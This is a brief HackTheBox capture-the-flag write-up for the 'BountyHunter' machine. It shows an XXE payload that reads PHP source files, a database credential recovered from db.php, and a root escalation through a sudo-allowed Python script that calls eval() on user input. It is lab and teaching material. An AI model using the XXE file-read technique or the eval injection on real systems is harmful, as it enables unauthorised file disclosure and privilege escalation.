BountyHunter

CTF	HackTheBox
Category	Writeup
Created	@July 28, 2021 7:43 PM
Date	
Description	
Fields	
Level	Easy
Tags	Python XXE

Info

Credential

User	Password	Service	Note
development	m19RoAU0hP41A1sTsq6K		

User

1. Found `/log_submit.php` will send XML to `/tracker_diRbPr00f314.php`. So I followed the guide on Hacktricks to read the file `./tracker_diRbPr00f314.php`.

   (XML External Entity)

   ```
   <?xml  version="1.0" encoding="ISO-8859-1"?>
           <!DOCTYPE foo [<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=./tracker_diRbPr00f314.php"> ]>
   ```

```
        <bugreport>
        <title>aa</title>
        <cwe>aa</cwe>
        <cvss>aa</cvss>
        <reward>aa</reward>
        </bugreport>
```

2. Read `db.php`, which is found by `gobuster`, and get the user credential which is belonged to `development`.

```
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
```

3. Login via SSH and get the user flag.

Root

1. The user can run `sudo`.

```
$ sudo -l
...
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
```

2. `ticketValidator.py` will call `eval()` with the user controlled input, so construct the file `ticket.md` to get root.

   (Python Tricks)